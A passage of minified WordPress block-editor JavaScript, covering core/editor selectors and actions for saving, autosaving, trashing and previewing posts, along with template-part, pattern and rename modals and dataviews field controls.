null;const{prefix:s,postName:o,suffix:n}=t;return Re(e)?s+o+n:s}function Le(e){return pe(e,"slug")||(0,v.cleanForSlug)(pe(e,"title"))||ie(e)}function Oe(e){const t=pe(e,"permalink_template");if(!t)return null;const s=pe(e,"slug")||pe(e,"generated_slug"),[o,n]=t.split(P);return{prefix:o,postName:s,suffix:n}}function Fe(e){return e.postLock.isLocked}function Ve(e){return Object.keys(e.postSavingLock).length>0}function ze(e){return Object.keys(e.postAutosavingLock).length>0}function Ue(e){return e.postLock.isTakeover}function He(e){return e.postLock.user}function Ge(e){return e.postLock.activePostLock}function $e(e){return Boolean(oe(e)._links?.hasOwnProperty("wp:action-unfiltered-html"))}const We=(0,c.createRegistrySelector)((e=>()=>!!e(k.store).get("core","isPublishSidebarEnabled"))),Ze=(0,c.createSelector)((e=>pe(e,"blocks")||(0,y.parse)(De(e))),(e=>[pe(e,"blocks"),De(e)]));function Ye(e,t){return e.removedPanels.includes(t)}const Ke=(0,c.createRegistrySelector)((e=>(t,s)=>{const o=e(k.store).get("core","inactivePanels");return!Ye(t,s)&&!o?.includes(s)})),qe=(0,c.createRegistrySelector)((e=>(t,s)=>{const o=e(k.store).get("core","openPanels");return!!o?.includes(s)}));function Qe(e){return w()("select('core/editor').getEditorSelectionStart",{since:"5.8",alternative:"select('core/editor').getEditorSelection"}),pe(e,"selection")?.selectionStart}function Xe(e){return w()("select('core/editor').getEditorSelectionStart",{since:"5.8",alternative:"select('core/editor').getEditorSelection"}),pe(e,"selection")?.selectionEnd}function Je(e){return pe(e,"selection")}function et(e){return!!e.postId}function tt(e){return e.editorSettings}function st(e){return e.renderingMode}const ot=(0,c.createRegistrySelector)((e=>t=>$(e(h.store)).isZoomOut()?"Desktop":t.deviceType));function nt(e){return e.listViewPanel}function it(e){return!!e.blockInserterPanel}const rt=(0,c.createRegistrySelector)((e=>()=>{var t;return null!==(t=e(k.store).get("core","editorMode"))&&void 0!==t?t:"visual"}));function at(){return w()("select('core/editor').getStateBeforeOptimisticTransaction",{since:"5.7",hint:"No state history is kept on this store anymore"}),null}function lt(){return w()("select('core/editor').inSomeHistory",{since:"5.7",hint:"No state history is kept on this store anymore"}),!1}function ct(e){return(0,c.createRegistrySelector)((t=>(s,...o)=>(w()("`wp.data.select( 'core/editor' )."+e+"`",{since:"5.3",alternative:"`wp.data.select( 'core/block-editor' )."+e+"`",version:"6.2"}),t(h.store)[e](...o))))}const dt=ct("getBlockName"),ut=ct("isBlockValid"),pt=ct("getBlockAttributes"),mt=ct("getBlock"),ht=ct("getBlocks"),gt=ct("getClientIdsOfDescendants"),_t=ct("getClientIdsWithDescendants"),ft=ct("getGlobalBlockCount"),bt=ct("getBlocksByClientId"),yt=ct("getBlockCount"),xt=ct("getBlockSelectionStart"),vt=ct("getBlockSelectionEnd"),St=ct("getSelectedBlockCount"),wt=ct("hasSelectedBlock"),kt=ct("getSelectedBlockClientId"),Ct=ct("getSelectedBlock"),Pt=ct("getBlockRootClientId"),jt=ct("getBlockHierarchyRootClientId"),Et=ct("getAdjacentBlockClientId"),Tt=ct("getPreviousBlockClientId"),Bt=ct("getNextBlockClientId"),It=ct("getSelectedBlocksInitialCaretPosition"),Nt=ct("getMultiSelectedBlockClientIds"),Dt=ct("getMultiSelectedBlocks"),At=ct("getFirstMultiSelectedBlockClientId"),Rt=ct("getLastMultiSelectedBlockClientId"),Mt=ct("isFirstMultiSelectedBlock"),Lt=ct("isBlockMultiSelected"),Ot=ct("isAncestorMultiSelected"),Ft=ct("getMultiSelectedBlocksStartClientId"),Vt=ct("getMultiSelectedBlocksEndClientId"),zt=ct("getBlockOrder"),Ut=ct("getBlockIndex"),Ht=ct("isBlockSelected"),Gt=ct("hasSelectedInnerBlock"),$t=ct("isBlockWithinSelection"),Wt=ct("hasMultiSelection"),Zt=ct("isMultiSelecting"),Yt=ct("isSelectionEnabled"),Kt=ct("getBlockMode"),qt=ct("isTyping"),Qt=ct("isCaretWithinFormattedText"),Xt=ct("getBlockInsertionPoint"),Jt=ct("isBlockInsertionPointVisible"),es=ct("isValidTemplate"),ts=ct("getTemplate"),ss=ct("getTemplateLock"),os=ct("canInsertBlockType"),ns=ct("getInserterItems"),is=ct("hasInserterItems"),rs=ct("getBlockListSettings"),as=(0,c.createRegistrySelector)((e=>()=>(w()("select('core/editor').__experimentalGetDefaultTemplateTypes",{since:"6.8",alternative:"select('core/core-data').getCurrentTheme()?.default_template_types"}),e(d.store).getCurrentTheme()?.default_template_types))),ls=(0,c.createRegistrySelector)((e=>(0,c.createSelector)((()=>{w()("select('core/editor').__experimentalGetDefaultTemplatePartAreas",{since:"6.8",alternative:"select('core/core-data').getCurrentTheme()?.default_template_part_areas"});return(e(d.store).getCurrentTheme()?.default_template_part_areas||[]).map((e=>({...e,icon:U(e.icon)})))})))),cs=(0,c.createRegistrySelector)((e=>(0,c.createSelector)(((t,s)=>{var o;w()("select('core/editor').__experimentalGetDefaultTemplateType",{since:"6.8"});const n=e(d.store).getCurrentTheme()?.default_template_types;return n&&null!==(o=Object.values(n).find((e=>e.slug===s)))&&void 0!==o?o:K})))),ds=(0,c.createRegistrySelector)((e=>(0,c.createSelector)(((t,s)=>{if(w()("select('core/editor').__experimentalGetTemplateInfo",{since:"6.8"}),!s)return K;const o=e(d.store).getCurrentTheme(),n=o?.default_template_types||[];return Y({template:s,templateAreas:o?.default_template_part_areas||[],templateTypes:n})})))),us=(0,c.createRegistrySelector)((e=>t=>{const s=ne(t),o=e(d.store).getPostType(s);return o?.labels?.singular_name}));function ps(e){return e.publishSidebarActive}const ms=window.wp.a11y,hs=window.wp.apiFetch;var gs=s.n(hs);const _s=window.wp.notices,fs=window.wp.i18n;function bs(e,t){return`wp-autosave-block-editor-post-${t?"auto-draft":e}`}function ys(e,t){window.sessionStorage.removeItem(bs(e,t))}const xs=(e,t,s)=>({dispatch:o})=>{o.setEditedPost(e.type,e.id);if("auto-draft"===e.status&&s){let n;n="content"in t?t.content:e.content.raw;let i=(0,y.parse)(n);i=(0,y.synchronizeBlocksWithTemplate)(i,s),o.resetEditorBlocks(i,{__unstableShouldCreateUndoLevel:!1})}t&&Object.values(t).some((([t,s])=>{var o;return s!==(null!==(o=e[t]?.raw)&&void 0!==o?o:e[t])}))&&o.editPost(t)};function vs(){return w()("wp.data.dispatch( 'core/editor' ).__experimentalTearDownEditor",{since:"6.5"}),{type:"DO_NOTHING"}}function Ss(){return w()("wp.data.dispatch( 'core/editor' ).resetPost",{since:"6.0",version:"6.3",alternative:"Initialize the editor with the setupEditorState action"}),{type:"DO_NOTHING"}}function ws(){return w()("wp.data.dispatch( 'core/editor' ).updatePost",{since:"5.7",alternative:"Use the core entities store instead"}),{type:"DO_NOTHING"}}function ks(e){return w()("wp.data.dispatch( 'core/editor' ).setupEditorState",{since:"6.5",alternative:"wp.data.dispatch( 'core/editor' ).setEditedPost"}),Cs(e.type,e.id)}function Cs(e,t){return{type:"SET_EDITED_POST",postType:e,postId:t}}const Ps=(e,t)=>({select:s,registry:o})=>{const{id:n,type:i}=s.getCurrentPost();o.dispatch(d.store).editEntityRecord("postType",i,n,e,t)},js=(e={})=>async({select:t,dispatch:s,registry:o})=>{if(!t.isEditedPostSaveable())return;const n=t.getEditedPostContent();e.isAutosave||s.editPost({content:n},{undoIgnore:!0});const i=t.getCurrentPost();let r={id:i.id,...o.select(d.store).getEntityRecordNonTransientEdits("postType",i.type,i.id),content:n};s({type:"REQUEST_POST_UPDATE_START",options:e});let a=!1;try{r=await(0,m.applyFiltersAsync)("editor.preSavePost",r,e)}catch(e){a=e}if(!a)try{await o.dispatch(d.store).saveEntityRecord("postType",i.type,r,e)}catch(e){a=e.message&&"unknown_error"!==e.code?e.message:(0,fs.__)("An error occurred while updating.")}if(a||(a=o.select(d.store).getLastEntitySaveError("postType",i.type,i.id)),!a)try{await(0,m.applyFilters)("editor.__unstableSavePost",Promise.resolve(),e)}catch(e){a=e}if(!a)try{await(0,m.doActionAsync)("editor.savePost",{id:i.id},e)}catch(e){a=e}if(s({type:"REQUEST_POST_UPDATE_FINISH",options:e}),a){const e=function(e){const{post:t,edits:s,error:o}=e;if(o&&"rest_autosave_no_changes"===o.code)return[];const n=["publish","private","future"],i=-1!==n.indexOf(t.status),r={publish:(0,fs.__)("Publishing failed."),private:(0,fs.__)("Publishing failed."),future:(0,fs.__)("Scheduling failed.")};let a=i||-1===n.indexOf(s.status)?(0,fs.__)("Updating failed."):r[s.status];return o.message&&!/<\/?[^>]*>/.test(o.message)&&(a=[a,o.message].join(" ")),[a,{id:"editor-save"}]}({post:i,edits:r,error:a});e.length&&o.dispatch(_s.store).createErrorNotice(...e)}else{const s=t.getCurrentPost(),n=function(e){var t;const{previousPost:s,post:o,postType:n}=e;if(e.options?.isAutosave)return[];const i=["publish","private","future"],r=i.includes(s.status),a=i.includes(o.status),l="trash"===o.status&&"trash"!==s.status;let c,d,u=null!==(t=n?.viewable)&&void 0!==t&&t;l?(c=n.labels.item_trashed,u=!1):r||a?r&&!a?(c=n.labels.item_reverted_to_draft,u=!1):c=!r&&a?{publish:n.labels.item_published,private:n.labels.item_published_privately,future:n.labels.item_scheduled}[o.status]:n.labels.item_updated:(c=(0,fs.__)("Draft saved."),d=!0);const p=[];return u&&p.push({label:d?(0,fs.__)("View Preview"):n.labels.view_item,url:o.link}),[c,{id:"editor-save",type:"snackbar",actions:p}]}({previousPost:i,post:s,postType:await o.resolveSelect(d.store).getPostType(s.type),options:e});n.length&&o.dispatch(_s.store).createSuccessNotice(...n),e.isAutosave||o.dispatch(h.store).__unstableMarkLastChangeAsPersistent()}};function Es(){return w()("wp.data.dispatch( 'core/editor' ).refreshPost",{since:"6.0",version:"6.3",alternative:"Use the core entities store instead"}),{type:"DO_NOTHING"}}const Ts=()=>async({select:e,dispatch:t,registry:s})=>{const o=e.getCurrentPostType(),n=await s.resolveSelect(d.store).getPostType(o),{rest_base:i,rest_namespace:r="wp/v2"}=n;t({type:"REQUEST_POST_DELETE_START"});try{const s=e.getCurrentPost();await gs()({path:`/${r}/${i}/${s.id}`,method:"DELETE"}),await t.savePost()}catch(e){s.dispatch(_s.store).createErrorNotice(...(a={error:e},[a.error.message&&"unknown_error"!==a.error.code?a.error.message:(0,fs.__)("Trashing failed"),{id:"editor-trash-fail"}]))}var a;t({type:"REQUEST_POST_DELETE_FINISH"})},Bs=({local:e=!1,...t}={})=>async({select:s,dispatch:o})=>{const n=s.getCurrentPost();if("wp_template"!==n.type)if(e){const e=s.isEditedPostNew(),t=s.getEditedPostAttribute("title"),o=s.getEditedPostAttribute("content"),i=s.getEditedPostAttribute("excerpt");!function(e,t,s,o,n){window.sessionStorage.setItem(bs(e,t),JSON.stringify({post_title:s,content:o,excerpt:n}))}(n.id,e,t,o,i)}else await o.savePost({isAutosave:!0,...t})},Is=({forceIsAutosaveable:e}={})=>async({select:t,dispatch:s})=>{if((e||t.isEditedPostAutosaveable())&&!t.isPostLocked()){["draft","auto-draft"].includes(t.getEditedPostAttribute("status"))?await s.savePost({isPreview:!0}):await s.autosave({isPreview:!0})}return t.getEditedPostPreviewLink()},Ns=()=>({registry:e})=>{e.dispatch(d.store).redo()},Ds=()=>({registry:e})=>{e.dispatch(d.store).undo()};function As(){return w()("wp.data.dispatch( 'core/editor' ).createUndoLevel",{since:"6.0",version:"6.3",alternative:"Use the core entities store instead"}),{type:"DO_NOTHING"}}function Rs(e){return{type:"UPDATE_POST_LOCK",lock:e}}const Ms=()=>({registry:e})=>{e.dispatch(k.store).set("core","isPublishSidebarEnabled",!0)},Ls=()=>({registry:e})=>{e.dispatch(k.store).set("core","isPublishSidebarEnabled",!1)};function Os(e){return{type:"LOCK_POST_SAVING",lockName:e}}function Fs(e){return{type:"UNLOCK_POST_SAVING",lockName:e}}function Vs(e){return{type:"LOCK_POST_AUTOSAVING",lockName:e}}function zs(e){return{type:"UNLOCK_POST_AUTOSAVING",lockName:e}}const Us=(e,t={})=>({select:s,dispatch:o,registry:n})=>{const{__unstableShouldCreateUndoLevel:i,selection:r}=t,a={blocks:e,selection:r};if(!1!==i){const{id:e,type:t}=s.getCurrentPost();if(n.select(d.store).getEditedEntityRecord("postType",t,e).blocks===a.blocks)return void n.dispatch(d.store).__unstableCreateUndoLevel("postType",t,e);a.content=({blocks:e=[]})=>(0,y.__unstableSerializeAndClean)(e)}o.editPost(a)};function Hs(e){return{type:"UPDATE_EDITOR_SETTINGS",settings:e}}const Gs=e=>({dispatch:t,registry:s,select:o})=>{o.__unstableIsEditorReady()&&(s.dispatch(h.store).clearSelectedBlock(),t.editPost({selection:void 0},{undoIgnore:!0})),t({type:"SET_RENDERING_MODE",mode:e})};function $s(e){return{type:"SET_DEVICE_TYPE",deviceType:e}}const Ws=e=>({registry:t})=>{var s;const o=null!==(s=t.select(k.store).get("core","inactivePanels"))&&void 0!==s?s:[];let n;n=!!o?.includes(e)?o.filter((t=>t!==e)):[...o,e],t.dispatch(k.store).set("core","inactivePanels",n)},Zs=e=>({registry:t})=>{var s;const o=null!==(s=t.select(k.store).get("core","openPanels"))&&void 0!==s?s:[];let n;n=!!o?.includes(e)?o.filter((t=>t!==e)):[...o,e],t.dispatch(k.store).set("core","openPanels",n)};function Ys(e){return{type:"REMOVE_PANEL",panelName:e}}const Ks=e=>({dispatch:t,registry:s})=>{"object"==typeof e&&e.hasOwnProperty("rootClientId")&&e.hasOwnProperty("insertionIndex")&&$(s.dispatch(h.store)).setInsertionPoint({rootClientId:e.rootClientId,index:e.insertionIndex}),t({type:"SET_IS_INSERTER_OPENED",value:e})};function qs(e){return{type:"SET_IS_LIST_VIEW_OPENED",isOpen:e}}const Qs=({createNotice:e=!0}={})=>({dispatch:t,registry:s})=>{const o=s.select(k.store).get("core","distractionFree");o&&s.dispatch(k.store).set("core","fixedToolbar",!1),o||s.batch((()=>{s.dispatch(k.store).set("core","fixedToolbar",!0),t.setIsInserterOpened(!1),t.setIsListViewOpened(!1),$(s.dispatch(h.store)).resetZoomLevel()})),s.batch((()=>{s.dispatch(k.store).set("core","distractionFree",!o),e&&s.dispatch(_s.store).createInfoNotice(o?(0,fs.__)("Distraction free mode deactivated."):(0,fs.__)("Distraction free mode activated."),{id:"core/editor/distraction-free-mode/notice",type:"snackbar",actions:[{label:(0,fs.__)("Undo"),onClick:()=>{s.batch((()=>{s.dispatch(k.store).set("core","fixedToolbar",o),s.dispatch(k.store).toggle("core","distractionFree")}))}}]})}))},Xs=()=>({registry:e})=>{e.dispatch(k.store).toggle("core","focusMode");const t=e.select(k.store).get("core","focusMode");e.dispatch(_s.store).createInfoNotice(t?(0,fs.__)("Spotlight mode activated."):(0,fs.__)("Spotlight mode deactivated."),{id:"core/editor/toggle-spotlight-mode/notice",type:"snackbar",actions:[{label:(0,fs.__)("Undo"),onClick:()=>{e.dispatch(k.store).toggle("core","focusMode")}}]})},Js=()=>({registry:e})=>{e.dispatch(k.store).toggle("core","fixedToolbar");const t=e.select(k.store).get("core","fixedToolbar");e.dispatch(_s.store).createInfoNotice(t?(0,fs.__)("Top toolbar activated."):(0,fs.__)("Top toolbar deactivated."),{id:"core/editor/toggle-top-toolbar/notice",type:"snackbar",actions:[{label:(0,fs.__)("Undo"),onClick:()=>{e.dispatch(k.store).toggle("core","fixedToolbar")}}]})},eo=e=>({dispatch:t,registry:s})=>{if(s.dispatch(k.store).set("core","editorMode",e),"visual"!==e&&(s.dispatch(h.store).clearSelectedBlock(),$(s.dispatch(h.store)).resetZoomLevel()),"visual"===e)(0,ms.speak)((0,fs.__)("Visual editor selected"),"assertive");else if("text"===e){s.select(k.store).get("core","distractionFree")&&t.toggleDistractionFree(),(0,ms.speak)((0,fs.__)("Code editor selected"),"assertive")}};function to(){return{type:"OPEN_PUBLISH_SIDEBAR"}}function so(){return{type:"CLOSE_PUBLISH_SIDEBAR"}}function oo(){return{type:"TOGGLE_PUBLISH_SIDEBAR"}}const no=e=>(...t)=>({registry:s})=>{w()("`wp.data.dispatch( 'core/editor' )."+e+"`",{since:"5.3",alternative:"`wp.data.dispatch( 'core/block-editor' )."+e+"`",version:"6.2"}),s.dispatch(h.store)[e](...t)},io=no("resetBlocks"),ro=no("receiveBlocks"),ao=no("updateBlock"),lo=no("updateBlockAttributes"),co=no("selectBlock"),uo=no("startMultiSelect"),po=no("stopMultiSelect"),mo=no("multiSelect"),ho=no("clearSelectedBlock"),go=no("toggleSelection"),_o=no("replaceBlocks"),fo=no("replaceBlock"),bo=no("moveBlocksDown"),yo=no("moveBlocksUp"),xo=no("moveBlockToPosition"),vo=no("insertBlock"),So=no("insertBlocks"),wo=no("showInsertionPoint"),ko=no("hideInsertionPoint"),Co=no("setTemplateValidity"),Po=no("synchronizeTemplate"),jo=no("mergeBlocks"),Eo=no("removeBlocks"),To=no("removeBlock"),Bo=no("toggleBlockMode"),Io=no("startTyping"),No=no("stopTyping"),Do=no("enterFormattedText"),Ao=no("exitFormattedText"),Ro=no("insertDefaultBlock"),Mo=no("updateBlockListSettings"),Lo=window.wp.htmlEntities;function Oo(e){return!!e&&(e.source===D&&(Boolean(e?.plugin)||e?.has_theme_file))}const Fo=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z"})}),Vo={id:"view-post",label:(0,fs._x)("View","verb"),isPrimary:!0,icon:Fo,isEligible:e=>"trash"!==e.status,callback(e,{onActionPerformed:t}){const s=e[0];window.open(s?.link,"_blank"),t&&t(e)}},zo={id:"view-post-revisions",context:"list",label(e){var t;const s=null!==(t=e[0]._links?.["version-history"]?.[0]?.count)&&void 0!==t?t:0;return(0,fs.sprintf)((0,fs.__)("View revisions (%s)"),s)},isEligible(e){var t,s;if("trash"===e.status)return!1;const o=null!==(t=e?._links?.["predecessor-version"]?.[0]?.id)&&void 0!==t?t:null,n=null!==(s=e?._links?.["version-history"]?.[0]?.count)&&void 0!==s?s:0;return!!o&&n>1},callback(e,{onActionPerformed:t}){const s=e[0],o=(0,v.addQueryArgs)("revision.php",{revision:s?._links?.["predecessor-version"]?.[0]?.id});document.location.href=o,t&&t(e)}},Uo=window.wp.components,Ho=(0,L.jsx)(M.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,L.jsx)(M.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"})});var Go=function(){return Go=Object.assign||function(e){for(var t,s=1,o=arguments.length;s<o;s++)for(var n in t=arguments[s])Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e},Go.apply(this,arguments)};Object.create;Object.create;"function"==typeof SuppressedError&&SuppressedError;function $o(e){return e.toLowerCase()}var Wo=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],Zo=/[^A-Z0-9]+/gi;function Yo(e,t,s){return t instanceof RegExp?e.replace(t,s):t.reduce((function(e,t){return e.replace(t,s)}),e)}function Ko(e,t){return void 0===t&&(t={}),function(e,t){void 0===t&&(t={});for(var s=t.splitRegexp,o=void 0===s?Wo:s,n=t.stripRegexp,i=void 0===n?Zo:n,r=t.transform,a=void 0===r?$o:r,l=t.delimiter,c=void 0===l?" ":l,d=Yo(Yo(e,o,"$1\0$2"),i,"\0"),u=0,p=d.length;"\0"===d.charAt(u);)u++;for(;"\0"===d.charAt(p-1);)p--;return d.slice(u,p).split("\0").map(a).join(c)}(e,Go({delimiter:"."},t))}function qo(e,t){return void 0===t&&(t={}),Ko(e,Go({delimiter:"-"},t))}function Qo(e,t){return`fields-create-template-part-modal__area-option-${e}-${t}`}function Xo(e,t){return`fields-create-template-part-modal__area-option-description-${e}-${t}`}function Jo({modalTitle:e,...t}){const s=(0,c.useSelect)((e=>e(d.store).getPostType("wp_template_part")?.labels?.add_new_item),[]);return(0,L.jsx)(Uo.Modal,{title:e||s,onRequestClose:t.closeModal,overlayClassName:"fields-create-template-part-modal",focusOnMount:"firstContentElement",size:"medium",children:(0,L.jsx)(tn,{...t})})}const en=e=>"header"===e?O:"footer"===e?F:"sidebar"===e?V:z;function tn({defaultArea:e="uncategorized",blocks:t=[],confirmLabel:s=(0,fs.__)("Add"),closeModal:o,onCreate:n,onError:i,defaultTitle:r=""}){const{createErrorNotice:a}=(0,c.useDispatch)(_s.store),{saveEntityRecord:l}=(0,c.useDispatch)(d.store),m=null!==(h=(0,c.useSelect)((e=>e(d.store).getEntityRecords("postType","wp_template_part",{per_page:-1})),[]))&&void 0!==h?h:[];var h;const[g,_]=(0,u.useState)(r),[f,b]=(0,u.useState)(e),[x,v]=(0,u.useState)(!1),S=(0,p.useInstanceId)(Jo),w=(0,c.useSelect)((e=>e(d.store).getCurrentTheme()?.default_template_part_areas),[]);async function k(){if(g&&!x)try{v(!0);const e=((e,t)=>{const s=e.toLowerCase(),o=t.map((e=>e.title.rendered.toLowerCase()));if(!o.includes(s))return e;let n=2;for(;o.includes(`${s} ${n}`);)n++;return`${e} ${n}`})(g,m),s=(e=>qo(e).replace(/[^\w-]+/g,"")||"wp-custom-part")(e),o=await l("postType","wp_template_part",{slug:s,title:e,content:(0,y.serialize)(t),area:f},{throwOnError:!0});await n(o)}catch(e){const t=e instanceof Error&&"code"in e&&e.message&&"unknown_error"!==e.code?e.message:(0,fs.__)("An error occurred while creating the template part.");a(t,{type:"snackbar"}),i?.()}finally{v(!1)}}return(0,L.jsx)("form",{onSubmit:async e=>{e.preventDefault(),await k()},children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"4",children:[(0,L.jsx)(Uo.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,fs.__)("Name"),value:g,onChange:_,required:!0}),(0,L.jsxs)("fieldset",{children:[(0,L.jsx)(Uo.BaseControl.VisualLabel,{as:"legend",children:(0,fs.__)("Area")}),(0,L.jsx)("div",{className:"fields-create-template-part-modal__area-radio-group",children:(null!=w?w:[]).map((e=>{const t=en(e.icon);return(0,L.jsxs)("div",{className:"fields-create-template-part-modal__area-radio-wrapper",children:[(0,L.jsx)("input",{type:"radio",id:Qo(e.area,S),name:`fields-create-template-part-modal__area-${S}`,value:e.area,checked:f===e.area,onChange:()=>{b(e.area)},"aria-describedby":Xo(e.area,S)}),(0,L.jsx)(Uo.Icon,{icon:t,className:"fields-create-template-part-modal__area-radio-icon"}),(0,L.jsx)("label",{htmlFor:Qo(e.area,S),className:"fields-create-template-part-modal__area-radio-label",children:e.label}),(0,L.jsx)(Uo.Icon,{icon:Ho,className:"fields-create-template-part-modal__area-radio-checkmark"}),(0,L.jsx)("p",{className:"fields-create-template-part-modal__area-radio-description",id:Xo(e.area,S),children:e.description})]},e.area)}))})]}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:"right",children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{o()},children:(0,fs.__)("Cancel")}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit","aria-disabled":!g||x,isBusy:x,children:s})]})]})})}function sn(e){return"wp_template"===e.type||"wp_template_part"===e.type}function on(e){return"string"==typeof e.title?(0,Lo.decodeEntities)(e.title):e.title&&"rendered"in e.title?(0,Lo.decodeEntities)(e.title.rendered):e.title&&"raw"in e.title?(0,Lo.decodeEntities)(e.title.raw):""}function nn(e){return!!e&&([e.source,e.source].includes("custom")&&!Boolean("wp_template"===e.type&&e?.plugin)&&!e.has_theme_file)}const rn={id:"duplicate-template-part",label:(0,fs._x)("Duplicate","action label"),isEligible:e=>"wp_template_part"===e.type,modalHeader:(0,fs._x)("Duplicate template part","action label"),RenderModal:({items:e,closeModal:t})=>{const[s]=e,o=(0,u.useMemo)((()=>{var e;return null!==(e=s.blocks)&&void 0!==e?e:(0,y.parse)("string"==typeof s.content?s.content:s.content.raw,{__unstableSkipMigrationLogs:!0})}),[s.content,s.blocks]),{createSuccessNotice:n}=(0,c.useDispatch)(_s.store);return(0,L.jsx)(tn,{blocks:o,defaultArea:s.area,defaultTitle:(0,fs.sprintf)((0,fs._x)("%s (Copy)","template part"),on(s)),onCreate:function(e){n((0,fs.sprintf)((0,fs._x)('"%s" duplicated.',"template part"),on(e)),{type:"snackbar",id:"edit-site-patterns-success"}),t?.()},onError:t,confirmLabel:(0,fs._x)("Duplicate","action label"),closeModal:null!=t?t:()=>{}})}},an=rn,ln=window.wp.patterns,{lock:cn,unlock:dn}=(0,H.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/fields"),{CreatePatternModalContents:un,useDuplicatePatternProps:pn}=dn(ln.privateApis),mn={id:"duplicate-pattern",label:(0,fs._x)("Duplicate","action label"),isEligible:e=>"wp_template_part"!==e.type,modalHeader:(0,fs._x)("Duplicate pattern","action label"),RenderModal:({items:e,closeModal:t})=>{const[s]=e,o=pn({pattern:s,onSuccess:()=>t?.()});return(0,L.jsx)(un,{onClose:t,confirmLabel:(0,fs._x)("Duplicate","action label"),...o})}},hn=mn,{PATTERN_TYPES:gn}=dn(ln.privateApis),_n={id:"rename-post",label:(0,fs.__)("Rename"),isEligible:e=>"trash"!==e.status&&(["wp_template","wp_template_part",...Object.values(gn)].includes(e.type)?function(e){return"wp_template"===e.type}(e)?nn(e)&&e.is_custom&&e.permissions?.update:function(e){return"wp_template_part"===e.type}(e)?"custom"===e.source&&!e?.has_theme_file&&e.permissions?.update:e.type===gn.user&&e.permissions?.update:e.permissions?.update),RenderModal:({items:e,closeModal:t,onActionPerformed:s})=>{const[o]=e,[n,i]=(0,u.useState)((()=>on(o))),{editEntityRecord:r,saveEditedEntityRecord:a}=(0,c.useDispatch)(d.store),{createSuccessNotice:l,createErrorNotice:p}=(0,c.useDispatch)(_s.store);return(0,L.jsx)("form",{onSubmit:async function(c){c.preventDefault();try{await r("postType",o.type,o.id,{title:n}),i(""),t?.(),await a("postType",o.type,o.id,{throwOnError:!0}),l((0,fs.__)("Name updated"),{type:"snackbar"}),s?.(e)}catch(e){const t=e,s=t.message&&"unknown_error"!==t.code?t.message:(0,fs.__)("An error occurred while updating the name");p(s,{type:"snackbar"})}},children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:"5",children:[(0,L.jsx)(Uo.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,fs.__)("Name"),value:n,onChange:i,required:!0}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:"right",children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{t?.()},children:(0,fs.__)("Cancel")}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,fs.__)("Save")})]})]})})}},fn=_n;const bn={sort:function(e,t,s){return"asc"===s?e-t:t-e},isValid:function(e,t){if(""===e)return!1;if(!Number.isInteger(Number(e)))return!1;if(t?.elements){const s=t?.elements.map((e=>e.value));if(!s.includes(Number(e)))return!1}return!0},Edit:"integer"};const yn={sort:function(e,t,s){return"asc"===s?e.localeCompare(t):t.localeCompare(e)},isValid:function(e,t){if(t?.elements){const s=t?.elements?.map((e=>e.value));if(!s.includes(e))return!1}return!0},Edit:"text"};const xn={sort:function(e,t,s){const o=new Date(e).getTime(),n=new Date(t).getTime();return"asc"===s?o-n:n-o},isValid:function(e,t){if(t?.elements){const s=t?.elements.map((e=>e.value));if(!s.includes(e))return!1}return!0},Edit:"datetime"};const vn={datetime:function({data:e,field:t,onChange:s,hideLabelFromVision:o}){const{id:n,label:i}=t,r=t.getValue({item:e}),a=(0,u.useCallback)((e=>s({[n]:e})),[n,s]);return(0,L.jsxs)("fieldset",{className:"dataviews-controls__datetime",children:[!o&&(0,L.jsx)(Uo.BaseControl.VisualLabel,{as:"legend",children:i}),o&&(0,L.jsx)(Uo.VisuallyHidden,{as:"legend",children:i}),(0,L.jsx)(Uo.TimePicker,{currentTime:r,onChange:a,hideLabelFromVision:!0})]})},integer:function({data:e,field:t,onChange:s,hideLabelFromVision:o}){var n;const{id:i,label:r,description:a}=t,l=null!==(n=t.getValue({item:e}))&&void 0!==n?n:"",c=(0,u.useCallback)((e=>s({[i]:Number(e)})),[i,s]);return(0,L.jsx)(Uo.__experimentalNumberControl,{label:r,help:a,value:l,onChange:c,__next40pxDefaultSize:!0,hideLabelFromVision:o})},radio:function({data:e,field:t,onChange:s,hideLabelFromVision:o}){const{id:n,label:i}=t,r=t.getValue({item:e}),a=(0,u.useCallback)((e=>s({[n]:e})),[n,s]);return t.elements?(0,L.jsx)(Uo.RadioControl,{label:i,onChange:a,options:t.elements,selected:r,hideLabelFromVision:o}):null},select:function({data:e,field:t,onChange:s,hideLabelFromVision:o}){var n,i;const{id:r,label:a}=t,l=null!==(n=t.getValue({item:e}))&&void 0!==n?n:"",c=(0,u.useCallback)((e=>s({[r]:e})),[r,s]),d=[{label:(0,fs.__)("Select item"),value:""},...null!==(i=t?.elements)&&void 